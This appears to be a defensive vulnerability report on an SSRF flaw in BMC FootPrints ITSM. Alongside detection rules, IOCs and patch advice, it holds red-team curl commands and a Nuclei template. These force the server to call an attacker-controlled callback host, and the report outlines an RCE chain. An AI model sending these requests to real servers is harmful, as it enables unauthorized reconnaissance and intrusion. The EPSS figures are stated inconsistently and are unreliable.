CVE-2025-71258

Executive Summary

CVE-2025-71258 is a blind Server-Side Request Forgery (SSRF) vulnerability in BMC FootPrints ITSM, affecting versions 20.20.02 through 20.24.01.001. The flaw resides in the /footprints/servicedesk/import/searchWeb API endpoint, where the url parameter is not properly validated. An authenticated attacker can force the server to initiate arbitrary outbound HTTP requests, enabling internal network scanning, interaction with internal services, and potential system availability impacts. This vulnerability is part of a pre-authenticated Remote Code Execution (RCE) chain when combined with CVE-2025-71257 (authentication bypass) and CVE-2025-71260 (deserialization). A public proof-of-concept (PoC) exists via a Nuclei template, and the vendor has released hotfixes.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary enterprise application (BMC FootPrints ITSM) and does not involve open-source package supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
• Base Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – Note: The NVD description states "authenticated attackers," but the Nuclei template and CVSS vector indicate no authentication is required for the SSRF itself. The discrepancy suggests the SSRF can be triggered without authentication, but full exploitation may require an authenticated session for chaining.
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: High (C:H) – Internal services and data may be exposed.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N) – NVD description mentions availability impact, but CVSS vector does not reflect this.
• EPSS Score: 0.01992% (Percentile: 0.83696) – Low probability of exploitation in the wild.
• Threat Level: High – Due to the potential for internal network reconnaissance and chaining with other vulnerabilities for RCE.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Request Forgery (SSRF) in the searchWeb API endpoint. The endpoint accepts a url parameter and fetches content from that URL, presumably to import data into the service desk. The application fails to validate or sanitize the URL, allowing an attacker to specify arbitrary internal or external addresses.

Mechanism:

1. The attacker sends a GET request to /footprints/servicedesk/import/searchWeb?url=http://<attacker-controlled>&dataEncoding=x.
2. The server processes the request and makes an HTTP request to the specified URL.
3. The response from the target URL is not directly returned to the attacker (blind SSRF), but the attacker can observe out-of-band interactions (e.g., DNS lookups, HTTP callbacks) to confirm the request was made.
4. This allows the attacker to:
   • Scan internal network hosts and ports.
   • Access internal services (e.g., databases, cloud metadata endpoints).
   • Potentially trigger other vulnerabilities (e.g., deserialization) by pointing the URL to an attacker-controlled server.

Chaining with Other CVEs:

• CVE-2025-71257: Authentication bypass – allows an unauthenticated attacker to obtain a valid session token.
• CVE-2025-71260: Deserialization vulnerability – allows RCE when combined with the SSRF to fetch a malicious payload.

The Nuclei template demonstrates a two-step attack:

1. Obtain a session token from the password reset endpoint.
2. Use that token (if required) to trigger the SSRF to an interactsh server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable endpoint
@RequestMapping("/footprints/servicedesk/import/searchWeb")
public String searchWeb(@RequestParam("url") String url) {
    // No validation of the URL
    URL target = new URL(url);
    HttpURLConnection conn = (HttpURLConnection) target.openConnection();
    // ... fetch and process content
}

Patched Code (Conceptual):

// Patched endpoint
@RequestMapping("/footprints/servicedesk/import/searchWeb")
public String searchWeb(@RequestParam("url") String url) {
    // Validate URL against allowlist
    if (!isAllowedUrl(url)) {
        throw new SecurityException("URL not allowed");
    }
    URL target = new URL(url);
    HttpURLConnection conn = (HttpURLConnection) target.openConnection();
    // ... fetch and process content
}

private boolean isAllowedUrl(String url) {
    // Only allow specific external domains or internal IPs
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        // Block private IP ranges
        InetAddress addr = InetAddress.getByName(host);
        if (addr.isSiteLocalAddress() || addr.isLoopbackAddress()) {
            return false;
        }
        // Allow only specific domains
        return host.endsWith(".trusted.com");
    } catch (Exception e) {
        return false;
    }
}

The patch introduces URL validation, blocking private IP ranges and restricting allowed domains.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable BMC FootPrints ITSM instance (version 20.20.02 to 20.24.01.001).
• An interactsh server or a controlled HTTP endpoint to receive out-of-band requests.

Exploitation Steps:

1. Obtain Session Token (if required):

   curl -v "http://target/footprints/servicedesk/passwordreset/request/"
   

   Extract the SEC_TOKEN from the Set-Cookie header.

2. Trigger SSRF:

   curl -v "http://target/footprints/servicedesk/import/searchWeb?url=http://your-interactsh-server&dataEncoding=x" \
        -H "Cookie: SEC_TOKEN=<token>"
   

3. Verify Exploitation:

   • Check your interactsh server for incoming DNS/HTTP requests.
   • If successful, you will see a request from the target server.

Full RCE Chain (with CVE-2025-71257 and CVE-2025-71260):

1. Use CVE-2025-71257 to bypass authentication and obtain a session.
2. Use CVE-2025-71258 to fetch a malicious serialized object from an attacker-controlled server.
3. The deserialization vulnerability (CVE-2025-71260) executes the payload, leading to RCE.

Blue Team

Detection:

• Monitor for outbound HTTP requests from the BMC server to unknown or suspicious destinations.
• Look for requests to /footprints/servicedesk/import/searchWeb with a url parameter containing internal IP addresses (e.g., 10.0.0.1, 192.168.1.1, 127.0.0.1) or unusual external domains.
• Alert on high volumes of requests to the same endpoint with varying url parameters (scanning behavior).

Mitigation:

• Apply the hotfixes immediately.
• If patching is not possible, restrict outbound network access from the BMC server using firewall rules.
• Implement a web application firewall (WAF) rule to block requests to /footprints/servicedesk/import/searchWeb with suspicious url parameters.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from the BMC server to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1).
  • Outbound requests to attacker-controlled domains or IPs.
  • DNS queries for unusual domains from the BMC server.

• Log IOCs:

  • Access logs showing requests to /footprints/servicedesk/import/searchWeb with a url parameter.
  • Error logs indicating failed connections to internal hosts.

• File IOCs:

  • No specific file-based IOCs for this SSRF alone, but combined with deserialization, look for unexpected files in the application directory.

Detection Engineering

YARA Rule

rule CVE_2025_71258_SSRF {
    meta:
        description = "Detects SSRF exploitation attempts against BMC FootPrints ITSM searchWeb endpoint"
        author = "Valters IT"
        date = "2025-10-27"
        reference = "CVE-2025-71258"
        severity = "high"
    strings:
        $ssrf_path = "/footprints/servicedesk/import/searchWeb"
        $url_param = "url="
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3})/
    condition:
        $ssrf_path and $url_param and $internal_ip
}

Sigma Rule

title: BMC FootPrints ITSM SSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-71258 SSRF vulnerability in BMC FootPrints ITSM
author: Valters IT
date: 2025-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-71258
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "/footprints/servicedesk/import/searchWeb?url="
    filter:
        cs-uri-query|contains:
            - "url=http://trusted.com"
            - "url=https://trusted.com"
    condition: selection and not filter
falsepositives:
    - Legitimate use of the searchWeb feature with allowed URLs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-71258 BMC FootPrints ITSM SSRF Attempt"; flow:to_server; content:"/footprints/servicedesk/import/searchWeb"; http_uri; content:"url="; http_uri; pcre:"/url=(http|https):\/\/(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3})/"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Full Content)

id: CVE-2025-71258

info:
  name: BMC FootPrints 'searchWeb' - Server-Side Request Forgery
  author: watchTowr,DhiyaneshDk
  severity: high
  description: |
    BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/import/searchWeb endpoint. The 'url' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).
  impact: |
    Authenticated attackers can cause the server to make arbitrary outbound requests, potentially impacting system availability and internal network security.
  remediation: |
    Apply the hotfixes released by BMC on September 2, 2025 for all affected branches. Update to the latest patched version of BMC FootPrints.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-71258
    epss-score: 0.01992
    epss-percentile: 0.83696
    cwe-id: CWE-918
  reference:
    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
    - https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"BMC Software"
    product: footprints
    vendor: bmc
    fofa-query: body="/footprints/servicedesk/"
  tags: cve,cve2025,servicedesk,bmc-software,ssrf,oast,oob,footprints,bmc

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(set_cookie, "SEC_TOKEN=")
        internal: true

  - raw:
      - |
        GET /footprints/servicedesk/import/searchWeb?url=http://{{interactsh-url}}&dataEncoding=x HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
# digest: 4b0a00483046022100e1bb355385207d02a1f90f3f98ec0ef82f64fa07675f4c03a51de8b8d36342da022100fda0fcf7a6e363bd1963d8d4cf0a723c42500fb04560421a7e34e5623fc46e2c:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply the hotfixes provided by BMC for the affected versions:
   • 20.20.02
   • 20.20.03.002
   • 20.21.01.001
   • 20.21.02.002
   • 20.22.01
   • 20.22.01.001
   • 20.23.01
   • 20.23.01.002
   • 20.24.01
2. If patching is delayed, implement network-level controls:
   • Restrict outbound traffic from the BMC server to only necessary destinations.
   • Use a web application firewall (WAF) to block requests to /footprints/servicedesk/import/searchWeb with suspicious url parameters.
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term Recommendations:

• Conduct a security review of all API endpoints for input validation flaws.
• Implement an allowlist for URLs that can be fetched by the application.
• Regularly update and patch the BMC FootPrints ITSM software.
• Segment the BMC server from internal networks to limit the impact of SSRF.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.

{/* [Security Hash: C0D7F6FF6F2E91CC4909370E] */}